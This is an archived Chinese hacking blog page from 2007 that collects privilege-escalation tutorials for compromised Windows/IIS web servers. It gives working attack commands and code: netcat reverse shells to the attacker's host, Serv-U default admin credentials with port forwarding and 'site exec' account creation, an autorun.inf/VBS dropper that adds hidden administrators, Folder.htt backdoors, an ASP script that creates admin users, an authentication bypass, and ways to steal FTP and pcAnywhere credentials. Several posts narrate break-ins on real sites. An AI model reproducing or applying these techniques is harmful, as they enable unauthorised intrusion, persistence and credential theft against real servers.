存档

文章标签 ‘提权’

提权之道(关于WNDOWS 2003 目录权限的初探)

2007年2月11日 没有评论 130 views

首先我说明,此文只做为技术交流,同时也并没有什么技术。
前几天再检测有一个服务器的时候,(虚拟主机)管理员的设置很BT,虽然没有禁止WS,但是呢,CMD等文件均不可以访问,并且不能运行任何系统命令,上传一个MT.exe 到了网站目录,可写,并且使用WS可以运行,因此我首先想到的就是利用WS的命令达到提权,因为没装VNC,PCANwhere,至于系统漏洞的本地提权也就不用去试都知道了,行不通的,所以拿系统权限只有靠FTP了,但是呢管理员把FTP的本地密码改了,如果是6.2的话,你还可能可以下回来查看到密码,可惜的是6.3看密码是没有希望了,这个时候想到的自然是SNIFFER,这个时候,自然是想到了使用htran和NC,把端口重定向过来。
反弹回来之后就是目录限制的问题了,我已经遇到了很多个服务器,基本上都是这样,把你的权限限制在 C:\windows\system32\inetsrv 目录里面了, C:的根目录你可以进去,但是无可写权限,大家都知道WINDOWS\TEMP可写,但问题是反弹回来的SHELL无权限DIR的,更加别说权限MD了,因此很是郁闷,毕竟是连网站目录也跳转不到了,所以就是上传了XSNIFFER也没有用,无奈之下,想了很久在里面瞎逛了很久,最后当我切入到 ASP Compiled Templates 目录的时候随便输入一个 : md 123 然后是 cd 123 结果,我还真的进到了123 的目录,然后赶快退出来,立刻再MD WOKAO cd wokao之后,就发现了,这个目录可写,然后在ASP木马里面输入路径:C:\windows\system32\inetsrv\ASP Compiled Templates 结果发现,ASP木马对该目录竟然连访问权都没有,这个时候大家或许就明白了,反弹回来的SHELL的权限与网站的权限是不一样的,呵呵,到了这里,自然就是轻车路熟了,继续之前的想法,架设一个 TFTP服务器, TFTP了一个XSNIFFER出来,然后在本地嗅探,以后就是等了,到第2天,自然就是 ctrl+c 终止嗅叹之后,立刻查看:password.txt 了,拿下目标站的管理员FTP。然后自然就是 OPEN xxxxxxxx 进入该站了目录了···

PS:有一点不是很明白,既然是通过IIS反弹回来的SHELL,那么应该是继承了IIS的权限,但是,基于IIS的权限,有2点不明白,第一,ASP木马为何无权限访问该目录,第二,为何改反弹回来的SHELL无法切入到网站根目录?

分类: 技术文章 标签: ,

[转载]提权大法(整理)

2007年1月25日 没有评论 94 views

c: d: e:.....
C:\Documents and Settings\All Users\「开始」菜单\程序 看这里能不能跳转,我们从这里可以获取好多有用的信息比如Serv-U的路径,
C:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere看能否跳转到这个目录,如果行那就最好了,直接下它的CIF文件,破解得到pcAnywhere密码,登陆
c:\Program Files\serv-uC:\WINNT\system32\config下它的SAM,破解密码
c:\winnt\system32\inetsrv\data是erveryone 完全控制,很多时候没作限制,把提升权限的工具上传上去,然后执行
c:\prel
C:\Program Files\Java Web Startc:\Documents and Settings\
C:\Documents and Settings\All Users\
c:\winnt\system32\inetsrv\data\
c:\Program Files\
c:\Program Files\serv-u\
C:\Program Files\Microsoft SQL Server\
c:\Temp\
c:\mysql\(如果服务器支持PHP)
c:\PHP(如果服务器支持PHP)
运行"cscript C:\Inetpub\AdminScripts\adsutil.vbs get w3svc/inprocessisapiapps"来提升权限
还可以用这段代码试提升,好象不是很理想的
如果主机设置很变态,可以试下在c:\Documents and Settings\All Users\「开始」菜单\程序\启动"写入bat,vbs等木马。
根目录下隐藏autorun.inf
C:\PROGRAM FILES\KV2004\ 绑
D:\PROGRAM FILES\RISING\RAVC:\Program Files\Real\RealServerrar
Folder.htt与desktop.ini
将改写的Folder.htt与desktop.ini,还有你的木马或者是VBS或者是什么,放到对方管理员最可能浏览的目录下
replace 替换法 捆绑
脚本 编写一个启动/关机脚本 重起
删SAM :( 错
CAcls命令
FlashFXP文件夹Sites.dat Sites.dat.bak Stats.dat Stats.dat.bak
Ring的权限提升21大法!
以下全部是本人提权时候的总结 很多方法至今没有机会试验也没有成功,但是我是的确看见别人成功过

的。本人不才,除了第一种方法自己研究的,其他的都是别人的经验总结。希望对朋友有帮助!

1.radmin连接法

条件是你权限够大,对方连防火墙也没有。封装个radmin上去,运行,开对方端口,然后radmin上去

。本人从来米成功过。,端口到是给对方打开了。

2.paanywhere

C:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\ 这里下他的GIF

文件,在本地安装pcanywhere上去

3.SAM破解

C:\WINNT\system32\config\ 下他的SAM 破解之

4.SU密码夺取

C:\Documents and Settings\All Users\「开始」菜单\程序\

引用:Serv-U,然后本地查看属性,知道路径后,看能否跳转
进去后,如果有权限修改ServUDaemon.ini,加个用户上去,密码为空
[USER=WekweN|1]
Password=
HomeDir=c:\
TimeOut=600
Maintenance=System
Access1=C:\|RWAMELCDP
Access1=d:\|RWAMELCDP
Access1=f:\|RWAMELCDP
SKEYValues=
这个用户具有最高权限,然后我们就可以ftp上去 quote site exec xxx 来提升权限

5.c:\winnt\system32\inetsrv\data\

引用:就是这个目录,同样是erveryone 完全控制,我们所要做的就是把提升权限的工具上传上去,

然后执行

6.SU溢出提权

这个网上教程N多 不详细讲解了

7.运行Csript

引用:运行"cscript C:\Inetpub\AdminScripts\adsutil.vbs get w3svc/inprocessisapiapps"来提

升权限
用这个cscript C:\Inetpub\AdminScripts\adsutil.vbs get w3svc/inprocessisapiapps
查看有特权的dll文件:idq.dll httpext.dll httpodbc.dll ssinc.dll msw3prt.dll
再将asp.dll加入特权一族
asp.dll是放在c:\winnt\system32\inetsrv\asp.dll (不同的机子放的位置不一定一样)
我们现在加进去cscript adsutil.vbs set /W3SVC/InProcessIsapiApps "C:\WINNT\system32\idq.dll"

"C:\WINNT\system32\inetsrv\httpext.dll" "C:\WINNT\system32\inetsrv\httpodbc.dll"

"C:\WINNT\system32\inetsrv\ssinc.dll" "C:\WINNT\system32\msw3prt.dll""c:\winnt\system32

\inetsrv\asp.dll"
可以用cscript adsutil.vbs get /W3SVC/InProcessIsapiApps 来查看是不是加进去了

8.脚本提权

c:\Documents and Settings\All Users\「开始」菜单\程序\启动"写入bat,vbs

9.VNC

这个是小花的文章 HOHO

默认情况下VNC密码存放在HKCU\Software\ORL\WinVNC3\Password

我们可以用vncx4

破解它,vncx4使用很简单,只要在命令行下输入

c:\>vncx4 -W

然后顺序输入上面的每一个十六进制数据,没输完一个回车一次就行了。

10.NC提权

给对方来个NC 但是条件是你要有足够的运行权限 然后把它反弹到自己的电脑上 HOHO OK了

11.社会工程学之GUEST提权
很简单 查看他的拥护 一般来说 看到帐户以后 密码尽量猜 可能用户密码一样 也可能是他QQ号 邮

箱号 手机号 尽量看看 HOHO

12.IPC空连接

如果对方真比较白痴的话 扫他的IPC 如果运气好还是弱口令

13.替换服务

这个不用说了吧?个人感觉相当复杂

14.autorun .inf

autorun=xxx.exe 这个=后面自己写 HOHO 加上只读、系统、隐藏属性 传到哪个盘都可以的 不相信

他不运行

15.desktop.ini与Folder.htt

引用:首先,我们现在本地建立一个文件夹,名字不重要,进入它,在空白处点右键,选择“自定义

文件夹”(xp好像是不行的)一直下点,默认即可。完成后,你就会看到在此目录下多了两个名为Folder

setting的文件架与desktop.ini的文件,(如果你看不到,先取消“隐藏受保护的操作系统文件”)然后

我们在Folder setting目录下找到Folder.htt文件,记事本打开,在任意地方加入以下代码: <OBJECT

ID=”RUNIT” WIDTH=0 HEIGHT=0 TYPE=”application/x-oleobject” CODEBASE=”你的后门文件名”>

</OBJECT> 然后你将你的后门文件放在Folder setting目录下,把此目录与desktop.ini一起上传到对方

任意一个目录下,就可以了,只要等管理员浏览了此目录,它就执行了我们的后门

16.su覆盖提权

本地安装个su,将你自己的ServUDaemon.ini文件用从他那下载下来的ServUDaemon.ini 覆盖掉,重

起一下Serv-U,于是你上面的所有配置都与他的一模一样了

17.SU转发端口

43958这个是 Serv -U 的本地管理端口。FPIPE.exe上传他,执行命令: Fpipe –v –l 3333 –r

43958 127.0.0.1 意思是将4444端口映射到43958端口上。 然后就可以在本地安装一个Serv-u,新建一个

服务器,IP填对方IP,帐号为LocalAdministrator 密码为#1@$ak#.1k;0@p 连接上后你就可以管理他的

Serv-u了

18.SQL帐户密码泄露

如果对方开了MSSQL服务器,我们就可以通过用SQL连接器加管理员帐号(可以从他的连接数据库的

ASP文件中看到),因为MSSQL是默认的SYSTEM权限。

引用:对方没有删除xp_cmdshell 方法:使用Sqlexec.exe,在host 一栏中填入对方IP,User与Pass

中填入你所得到的用户名与密码。format选择xp_cmdshell”%s”
即可。然后点击connect,连接上后就可

以在CMD一栏中输入你想要的CMD命令了

19.asp.dll

引用:因为asp.dll是放在c:\winnt\system32\inetsrv\asp.dll (不同的机子放的位置不一定相同

)
我们现在加进去cscript adsutil.vbs set /W3SVC/InProcessIsapiApps "C:\WINNT\system32\idq.dll"

"C:\WINNT\system32\inetsrv\httpext.dll" "C:\WINNT\system32\inetsrv\httpodbc.dll"

"C:\WINNT\system32\inetsrv\ssinc.dll" "C:\WINNT\system32\msw3prt.dll""c:\winnt\system32

\inetsrv\asp.dll"
好了,现在你可以用cscript adsutil.vbs get /W3SVC/InProcessIsapiApps 来查看是不是加进去
了,注意,用法中的get和set,一个是查看一个是设置.还有就是你运行上面的你要到

C:\Inetpub\AdminScripts>这个目录下.
那么如果你是一个管理员,你的机子被人用这招把asp提升为system权限,那么,这时,防的方法就是把

asp.dll T出特权一族,也就是用set这个命令,覆盖掉刚才的那些东东.

20.Magic Winmail

前提是你要有个webshell 引用:http://www.eviloctal.com/forum/read.php?tid=3587这里去看吧

21.DBO……

其实 提升权限的方式很多的 就看大家怎么利用了 HOHO 加油吧 将服务器控制到底!

感谢noangel
WEBSHELL权限提升
动网上传漏洞,相信大家拿下不少肉鸡吧,但是都是WEBSHELL,不能拿到系统权限,要如何拿到系统权限呢?这正是我们这次要讨论的内容
OK,进入我的WEBSHELL
啊哈,不错,双CPU,速度应该跟的上,不拿下你我怎么甘心啊
输入密码,进入到里面看看,有什么好东西没有,翻了下,好像也没有什么特别的东西,看看能不能进到其他的盘符,点了下C盘,不错不错,可以进去,这样提升就大有希望了
一 serv-u提升
OK,看看他的PROGRAME里面有些什么程序,哦,有SERV-U,记得有次看到SERV-U有默认的用户名和密码,但是监听的端口是43958,而且是只有本地才能访问的,但是我们有端口转发工具的啊,不怕。先看看他的SERV-U的版本是多少,telnet XXX.XXX.XXX.XXX 21
显示竟然是3.0的,唉,不得不说这个管理员真的不称职。后来完毕后扫描了下,也只有FTP的洞没有补。既然是这样,我们就开始我们的提升权限了
上传FPIPE,端口转发工具, 图三
在运行CMD命令里输入d:\\wwwroot\\fpipe.exe -v -l 81 -r 43958 127.0.0.1 意思是把本机的43598端口转发到81端口
然后打开我们自己机子上的SERV-U,点Serv-U服务器,点菜单栏上的的服务器,点新建服务器,然后输入IP,输入端口,记得端口是刚刚我们转发的81端口。服务名称随便你喜欢,怎么样都行。然后是用户名:LocalAdministrator 密码:#l@$ak#.lk;0@P (密码都是字母)
确定,然后点刚刚建的服务器,然后就可以看到已有的用户,自己新建一个用户,把所有权限加上。也不锁定根目录
接下来就是登陆了,登陆FTP一定要在CMD下登陆,
进入后一般命令和DOS一样,添加用户的时候
ftp>quote site exec net.exe user hk pass /add
ftp>quote site exec net.exe localgroup administrators hk/add
如果对方开了3389的话,就不用我教你怎么做了,没开的话,新建立IPC连接,在上传木马或者是开启3389的工具

auto.ini 加 SHELL.VBS

autorun.inf
[autorun]
open=shell.vbs
shell.vbs
dim wsh
set wsh=CreateObject("WScript.Shell")
wsh.run "net user guest /active:yes",0
wsh.run "net user guest 520ls",0
wsh.run "net localgroup administrators guest /add",0
wsh.run "net user hkbme 520ls /add",0
wsh.run "net localgroup administrators hkbme /add",0
wsh.run "cmd.exe /c del autorun.inf",0
wsh.run "cmd.exe /c del shell.vbs",0
但是这样要可以访问到对方的根目录。将这两个文件放到对方硬盘的根目录下。当然你也可以直接执行木马程序,还要一个木马程序,但是语句就和最后两句一样,通过CMD执行木马程序

Folder.htt与desktop.ini
将改写的Folder.htt与desktop.ini,还有你的木马或者是VBS或者是什么,放到对方管理员最可能浏览的目录下,觉得一个不够,可以多放几个
Folder.htt添加代码
<OBJECT ID=”RUNIT” WIDTH=0 HEIGHT=0 TYPE=”application/x-oleobject” CODEBASE=”你的后门文件名”>
</OBJECT>
但是后门和这两个文件必须要放到一块,有点问题,可以结合启动VBS,运行结束后,删除上传的后门.就是CODEBASE="shell.vbs".shell写法如上


replace
替换法,可以替换正在执行的文件。用这个几乎可以马上得到权限,但是我没有做过试验,可以试下,将对方正在执行的文件替换为和它文件名一样的,捆绑了木马的。为什么不直接替换木马呢?如果替换的是关键程序,那不是就直接挂了?所以还是捆绑好点
格式
REPLACE [drive1:][path1]filename [drive2:][path2] [/A]

[/R] [/W]
REPLACE [drive1:][path1]filename [drive2:][path2]

[/R] [/S] [/W]

[drive1:][path1]filename 指定源文件。
[drive2:][path2] 指定要替换文件的
目录。
/A 把新文件加入目标目录。不能和
/S 或 /U 命令行开关搭配使用。
/P 替换文件或加入源文件之前会先提示您
进行确认。
/R 替换只读文件以及未受保护的
文件。
/S 替换目标目录中所有子目录的文件。
不能与 /A 命令选项
搭配使用。
/W 等您插入磁盘以后再运行。
/U 只会替换或更新比源文件日期早的文件。
不能与 /A 命令行开关搭配使用
这个命令没有试验过,看能不能替换不能访问的文件夹下的文件,大家可以试验下

脚本
编写一个启动/关机脚本配置文件scripts.ini,这个文件名是固定的,不能改变。内容如下:

[Startup]
0CmdLine=a.bat
0Parameters=

将文件scripts.ini保存到“C:\\winnt\\system32\\GroupPolicy\\Machine\\Scripts”
A.BAT的内容可以是NET USER yonghu mima
也可以是NET USER ADMINistrator XXX
这样可以恢复你想要得任意用户名的密码,也可以自己增加新的用户,但是要依赖重启,还有就是对SYSTEM32有写的权限

SAM
如果可以访问对方的SYSTEM32的话,删除对方的SAM文件,等他重启以后就是ADMIN用户密码为空
突然又有了想法,可以用REPLACE命令替换的吗,可以把你的SAM文件提取出来,上传到他的任意目录下,然后替换。不过不知道如果对SYSTEM32没有权限访问的话,能不能实现替换
使用FlashFXP来提升权限

最近各位一定得到不少肉鸡吧:),从前段时间的动网的upfile漏洞, 动力文章系统最新漏洞到first see发现的动网sql版本的一个超级大漏洞。有人一定忙的不易乐乎,大家的方法也不过是使用一下asp脚本的后门罢了。至于提 升权限的问题 呵呵,很少有人能作一口气完成。关键还是在提升权限上做个问题上,不少服务器设置的很BT,你的asp木马可能都用不了,还那里 来的提升啊。我们得到webshell也就是个低级别的用户的权限,各种提升权限方法是可谓五花八门啊,如何提升就看你自己的妙 招了。
其一,如果服务器上有装了pcanywhere服务端,管理员为了便于管理也给了我们方便,到系统盘的Docume
nts and Settings/All Users/Application Data/Symantec/pcAnywhere/中下载*.cif本地破解就使用pcanywhere连接就ok了。
其二,如果对方有Serv-U大家不要骂我啊,通过修改ServUDaemon.ini和fpipe这软件提升权限应该是不成问 题吧。
其三,通过替换系统服务来提升。
其四,查找conn和config这类型的文件看能否得到sa或者mysql的相关密码,可能会有所收获等等。
本人在一次无聊的入侵过程中发现了这个方法,使用Flashfxp也能提升权限,但是成功率高不高就看你自己的运气了:)
本人在www.xxx.com 通过bbs得到了一个webshell,放了个小马(现在海阳的名气太大了偶不敢放),而且已经将一段代码插入了N个文件中,够 黑吧。提升权限没时间做。在我放假回家后,一看我晕bbs升级到动网sp2了我放的小马也被K了,人家的BBS是access版 本的。郁闷啊!突然想起我将一个页面插入了asp的后门,看看还有没有希望了。输入www.xxx.com/xx.asp?id =1 好家伙,还在!高兴ing
图1
于是上传了一个asp的脚本的后门,怎么提升权限呢?
在这个网站的主机上游荡了N分钟,在C:\\ Program Files下发现了FlashFXP文件夹(跟我一样使用这个软件自己心里暗想)图2,于是就打了了Sites. dat这个文件(编辑)这是什么东西密码和用户名,而且密码是加了密的。
如果我把这些文件copy回本地也就是我的计算机中,替换我本地的相应文件会怎么样呢?
于是我就将Sites.dat Sites.dat.bak Stats.dat Stats.dat.bak几个文件下载到我的计算机中替换了我电脑中flashfxp文件夹的相应文件。打开flashfxp 在站点中打开站点管理器一项。乖 乖发财了
对方管理员通过flashfxp连接的各个站点都在图3,点击连接。通过了于是我们又有了一堆肉鸡,我们有ftp权限。上传脚本 木马~ 呵呵。
说了半天这提升权限的事情一点没讲啊
不要急,大家看看对方管理员的这站点管理器,有用户名和密码,密码是星号的。可惜啊!
又想起了在Sites.dat中也显示了密码和用户名,而且密码是加密的。
现在的星号密码会不会也是加了密的?看看就行了呗。
怎么看? 菜鸟了吧 手头有个不错的查看星号的软件,就是xp星号密码查看器,通过查看跟Sites.dat中加密了密码做比较。看图4和图5 的比较 很显然在站点管理器中查看到的密码是明文显示的。发财了吧
下一步就是使用xp星号密码查看器这个软件来提取密码和用户名。看者这些复杂的密码,还真有点怀念当年玩sniff的时光。呵呵
密码为:b69ujkq6 hyndai790 s584p*fv4-c+ 98cq3jk4 3-8*ef./2z5+
用户名:bn7865t nilei75 qm/-g57+3kn qm/-g57+3kn 5.e*82/+69
(上述部分密码和用户名已经作了必要的修改)
这么多的信息,按社会工程学的概念来说,没有管理员的密码。打死我也不相信。最终我得到了这个网站管理员的密码从这堆东西中找到 的。
我想这个问题应该反馈到flashfxp官方,让他们在下个版本中修正这个漏洞或者说是错误。经过后来测试只要把含有密码和用户 名的Sites.dat文件替换到本地相应的文件就可以在本地还原对方管理员的各个站点的密码。希望大家在入侵的时候遇到fla shfxp的时候能想到这个方法,至少也可以得到一堆新的肉鸡。不防试试?希望能给大家渗透带来帮助。

--------------------------------------------------------------------------------

--
--
将asp权限提到最高by: cnqing from:http://friend.91eb.com
本来是要写个提权asp木马的,可惜时间不是太多功底也不是太深。先把原理方法告诉大家好了。简单说说,说的太麻烦没有必要。懂了就行。
原理:
asp文件的教本解释是由asp.dll运行的。由dllhost.exe启动的。身分是IWAN_NAME。若是把asp.dll放到inprocesslsapiapps中那它就是由inetifo.exe直接启动。身份是system
方法:
第一步。
得到inprocesslsapiapps内容,用命令"cscript C:\\Inetpub\\AdminScripts\\adsutil.vbs get w3svc/inprocessisapiapps"。将得到的一组dll复制下来。
第二步
写一个bat内容为"cscript C:\\Inetpub\\AdminScripts\\adsutil vbs set w3svc/inprpocessisapiapps "C:\\Inetpub\\AdminScripts\\asp.dll" ·····
省略号为复制下的内容。中间用空格分开不要带回车符
最后运行这个bat就行了。
例如:
我用"cscript C:\\Inetpub\\AdminScripts\\adsutil.vbs get w3svc/inprocessisapiapps"得到
"c:\\winnt\\system32\\inetsrv\\httpext.dll"
"c:\\winnt\\system32\\inetsrv\\httpodbc.dll"
"C:\\WINNT\\system32\\inetsrv\\ssinc.dll"
"C:\\WINNT\\System32\\msw3prt.dll"
"C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\isapi\\_vti_aut\\author.dll"
"C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\isapi\\_vti_adm\\admin.dll"
"C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\isapi\\shtml.dll"

那么你的bat就应该是:

cscript C:\\Inetpub\\AdminScripts\\adsutil vbs set w3svc/inprpocessisapiapps "C:\\Inetpub\\AdminScripts\\asp.dll" "c:\\winnt\\system32\\inetsrv\\httpext.dll" "c:\\winnt\\system32\\inetsrv\\httpodbc.dll" "C:\\WINNT\\system32\\inetsrv\\ssinc.dll" "C:\\WINNT\\System32\\msw3prt.dll" "C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\isapi\\_vti_aut\\author.dll" "C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\isapi\\_vti_adm\\admin.dll" "C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\isapi\\shtml.dll"

已测试成功!!

利用%5c绕过验证

说到%5c,你是不是想起了当前流行的那个%5c暴库漏洞,呵呵,本文就是对%5c利用的探索(呵呵,当然有我提出的新东东,或许对你有帮助哦^_^)。

好,我们先追根溯源,找到那个漏洞的老底。看看绿盟2001年的漏洞公告:http://www.nsfocus.net/index.php?ac...iew&bug_id=1429

N年以前利用这个漏洞可以实现目录遍历,虽然微软出了补丁,不过好像补丁是用来限制iis只能访问虚拟目录的,所以漏洞还是存在,只不过利用方式变了。对iis来说,提交一个含有%5c的url能够找到文件,但是该文件里以相对路径引用的其他文件却找不到了(%5c是\\的url编码,iis跳转到上一级目录去找,当然找不到;头晕了吧,哈哈,我也头晕啊)。

后来这个漏洞就被牛人挖掘出来了,也就是传说中的%5c暴库:由于连接数据库的文件引用的相对路径,提交%5c找不到文件,所以导致出错,iis就会老老实实的说出数据库的路径(不明白?找google)。

一个偶然的机会我发现还可以利用%5c绕过asp的验证;当我们暴库失败的时候不妨试试。

废话少说,看下面的代码:

<!--#INCLUDE file="conn.asp" -->
<%
guest_user=trim(request("guest_user"))
guest_password=trim(request("guest_password"))
Set rs= Server.CreateObject("ADODB.Recordset")
sql="select * from admin where id=1"
rs.open sql,conn,3,2
readuser=rs("guest_user")
readpassword=rs("guest_password")
if readuser<>guest_user or readpassword<>guest_password then
response.write "请输入正确地管理员密码!"
response.end
else
session("admin")=1 \'登陆后写入seesion中保存
response.write("登陆成功,请返回信息页")
end if
%>

看到没有,要想通过验证必须让数据库里的用户名密码与提交的一致;想到什么?让我们再看看数据库连接文件代码:

<%
on error resume next
set conn=server.createobject("adodb.connection")
>DBPath = Server.MapPath("guestbook.asp")
conn.Open "driver={Microsoft Access Driver (*.mdb)};dbq=" & DBPath
%>

啊,有容错语句不能暴库!等等,如果提交%5c数据库找不到,由于容错,所以程序会继续执行,那么说来从数据库得到的用户名密码皆为空(想想有时暴库失败是不是看到空空的框架,因为数据都是空嘛),哈哈,这样我们就绕过验证了!

知道怎么做了吧,把登陆页面保存到本地,修改提交的url,把最后一个/改成%5c,用户名密码用空格(有的程序会检查用户名密码是否为空,空格会被程序过滤),提交,就ok了。

诶,各位不要以为我自己没事写段代码来捣鼓,实际上这个是我们学校一个高手做的留言板程序,就挂在学校的主页,呵呵。

既然弄懂了原理,当然要找实际漏洞啦,自然是拿大名鼎鼎的“洞”网论坛开刀。不过失败了,因为它的数据库连接文件里有这么一段:

If Err Then
err.Clear
Set Conn = Nothing
Response.Write "数据库连接出错,请检查连接字串。"
Response.End
End If

数据库找不到程序就结束了,呵呵,空欢喜一场。

接着又去down了bbsxp论坛,打开数据库连接文件,晕,根本没有容错语句;呵呵,不过可以暴库哦。

我又不是BT,所以不去找事了,写篇文章,算是给各位高手提供资料吧。

总结一下这个攻击方法成功的条件:1、数据库连接用的相对路径且仅有简单的容错语句;2、服务器iis版本为4或5;3、程序里不检查空字符或者检查时不过滤空格而比较时过滤空格;4、程序不能在一级目录

至于防范,呵呵,既然攻击条件知道了,防范措施自然也出来了^_^

添加超级用户的.asp代码[蓝屏的原创,凯文改进,Ms未公布的漏洞]

作者:蓝屏,凯文 文章来源:冰点极限

其实上个礼拜我和凯文就在我的肉鸡上测试了,还有河马史诗.结果是在user权限下成功添加Administrators组的用户了(虽然我不敢相信我的眼睛).
上次凯文不发话,我不敢发布啊....现在在他的blog 上看到他发布了,就转来了咯(比我上次测试时还改进了一点,加了个表单).这下大家有福咯```

反正代码是对的,但是很少能成功,具体的看运气了。。呵呵,下一步我想把他整合到海洋里面去。嘿嘿。

<head>.network对象脚本权限提升漏洞利用工具</head>
<form action="useradd.asp" method=post>
用户:<input name="username" type="text" value="kevin1986"><br>
密码:<input name="passwd" type="password"><br>
<input type="submit" Value="添 加">
</form>

<%@codepage=936
on error resume next
if request.servervariables("REMOTE_ADDR")<>"127.0.0.1" then
response.write "iP !s n0T RiGHt"
else
if request("username")<>"" then
username=request("username")
passwd=request("passwd")
Response.Expires=0
Session.TimeOut=50
Server.ScriptTimeout=3000
set lp=Server.createObject("WSCRIPT.NETWORK")
oz="WinNT://"&lp.ComputerName
Set ob=GetObject(oz)
Set oe=GetObject(oz&"/Administrators,group")
Set od=ob.create("user",username)
od.SetPassword passwd
od.SetInfo
oe.Add oz&"/"&username
if err then
response.write "哎~~今天你还是别买6+1了……省下2元钱买瓶可乐也好……"
else
if instr(server.createobject("Wscript.shell").exec("cmd.exe /c net user "&username.stdout.readall),"上次登录")>0 then
response.write "虽然没有错误,但是好象也没建立成功.你一定很郁闷吧"
else
Response.write "OMG!"&username&"帐号居然成了!这可是未知漏洞啊.5,000,000RMB是你的了"
end if
end if
else
response.write "请输入输入用户名"
end if
end if
%>
如何绕过防火墙提升权限

本文讲的重点是webshell权限的提升和绕过防火墙,高手勿笑。

废话少说,咱们进入正题。

首先确定一下目标:http://www.sun***.com ,常见的虚拟主机。利用Upfile的漏洞相信大家获得webshell不难。我们这次获得这个webshell,不是DVBBS,而是自由动力3.6的软件上传过滤不严。网站http://www.sun***.com/lemon/Index.asp是自由动力3.6文章系统。Xr运用WinHex.exe和WSockExpert.exe上传一个网页木马newmm.asp,用过动鲨的door.exe的人都知道,这个是上传asp木马内容的。于是,上传海洋2005a,成功获得webshell。

测试一下权限,在cmd里运行set,获得主机一些信息,系统盘是D盘,也说明了我们的webshell有运行权限的。那我们看看C盘有什么呢?难道是双系统?浏览后发现没有什么系统文件,只有一些LJ文件,晕死。没关系,再来检查一下,虚拟主机都有serv-u的,这台也不例外,是5.0.0.8的。呵呵,是有本地溢出的呀,挖哈哈。

思路:上传serv-u本地溢出文件srv.exe和nc.exe利用nc来反连接获得系统shell。大家是不是发现海洋2005a那个上传的组件不好用(反正我总遇到这个问题),没关系,用rain改的一个无组件上传,一共有3个文件,up.htm, upload.asp和uploadclass.asp。upload.asp和uploadclass.asp上传到同一个文件夹,up.htm是本地用的,修改up.htm里的链接地址为:http://www.sun***.com/lemon/upload.asp就可以上传了。

传上了srv.exe和nc.exe在H:\\long\\sun***\\lemon(网站目录)后,发现没有运行权限。没关系,根据经验,一般系统下D:\\Documents and Settings\\All Users\\是应该有运行权限的。于是想把文件copy过去,但是发现我们的webshell没有对D盘写的权限,晕死。

可以浏览D:\\program files\\serv-u\\ServUDaemon.ini,不能改,难道要破解serv-u的密码,晕,不想。

不可以这么就泄气了,我突然想到为什么系统不放在C盘了,难道C盘是FAT32分区的?(后来证明了我们的想法。这里说一下,如果主机有win98的系统盘,那里99%是FAT32分区的。我们还遇到过装有Ghost的主机,为了方便在DOS下备份,它的备份盘一般都是FAT分区的。)如果系统盘是FAT32分区,则网站就没有什么安全性可言了。虽然C盘不是系统盘,但是我们有执行权限。呵呵,copy srv.exe和nc.exe到c:\\,运行 srv.exe “nc.exe –e cmd.exe 202.*.*.* 888”,这里的202.*.*.*是我们的肉鸡,在这之前我们已经在肉鸡上运行了nc –l –p 888。我们在学校内网里,没有公网ip,不爽-ing。

我们成功获得一个系统shell连上肉鸡。(看起来简单,其实这里我们也遇到过挫折,我们发现有些版本的nc居然没有-e这个参数,还以为全世界nc功能都一样。后来又发现不同版本的nc互连不成功,会出现乱码,没办法用。为此,上传n次,错误n次,傻了n次,后来终于成功了。做黑客还真得有耐心和恒心。)

高兴之余,我们仍不满足,因为这个shell实在是太慢了。于是,想用我们最常用的Radmin,其实管理员一按Alt+Ctrl+Del,看进程就能发现r_server了,但是还是喜欢用它,是因为不会被查杀。好了,上传admdll.dll,raddrv.dll,r_server.exe到H:\\long\\sun***\\lemon,再用刚才nc得到的shell把它们copy到d:\\winnt\\system32\\下,分别运行:r_server /install , net start r_server , r_server /pass:rain /save 。

一阵漫长的等待,终于显示成功了。兴冲冲用radmin连上去,发现连接失败。晕死,忘了有防火墙了。上传pslist和pskill上去,发现有backice,木马克星等。Kill掉他们虽然可以登陆,但服务器重启后还是不行,终不是长久之计呀。防火墙是不防21,80等端口的,于是,我们的
思路又回到了serv-u上了。把他的ServUDaemon.ini下载下来,覆盖本机的ServUDaemon.ini,在本机的serv-u上添加一个用户名为xr,密码为rain的系统帐号,加上所有权限。再用老办法,上传,用shell写入D:\\program files\\serv-u\\里,覆盖掉原来的ServUDaemon.ini。虽然又等了n长时间,但是成功了,于是用flashfxp连上,发生530错误。郁闷,怎么又失败了。(根据经验这样应该就可以了,但为什么不行没有想通,请高手指点。)

不管了,我们重启serv-u就ok了,怎么重启呢,开始想用shutdown重启系统,但那样我们就失去了nc这个shell,还可能被发现。后来,眼睛一亮,我们不是有pskill吗?刚才用pslist发现有这个进程:ServUDaemon 。把它kill了。然后再运行D:\\program files\\serv-u\\ ServUAdmin.exe ,这里要注意不是ServUDaemon.exe 。

好了,到这里,我们直接ftp上去吧,ls一下,哈哈,系统盘在我的掌握下。我们能不能运行系统命令呢?是可以的,这样就可以:

ftp>quote site exec net user xr rain /add

在webshell上运行net user,就可以看见添加成功了。

整个入侵渗透到这就结束了,在一阵后清理打扫后。我们就开始讨论了。其实,突破防火墙有很多好的rootkit可以做到的,但是我们觉得系统自带的服务才是最安全的后门。

asp.dll解析成system提升权限
网络上传统的提升asp权限为系统的有两种:
1.图形化下的,把默认站点---->主目录--->应用程序保护设置为低,这样就可以把asp权限设置为system.
但这种提升方法很容易被发现,所以网络有另一种一般是用adsutil.vbs来提升权限.而这个也是今天
我要谈的关于adsutil.vbs提升权限.
2.用adsutil.vbs搞定.
在网络上我看到了很多的教你用这种方法的动画,文章,但我至今没有看到一篇介绍原理的,下面我谈谈我个人的看法:
先举个例子:
有一群狗,这群狗里有几个长老级狗物,它们拥有着至高无上的权限,而其它的狗,他们的权限则少得可怜.
转到计算机上:
在IIS中,有几个Dll文件是拥有特权限的,我们可以理解为系统权限,就像长老级的狗.而解析asp的asp.dll则就像一只
普通的狗,他的权限少得可怜.
那么,如果asp.dll也成了长老级的狗的话,那么asp不也就有了系统权限了吗,这是可以成立的.所以我们的思路也就是
把asp.dll加入特权的dll一族之中.提升步骤为:
<1>先查看有特权一话有哪些.
<2>加asp.dll加入特权一族
好了,下面我们就来实践这个过程.
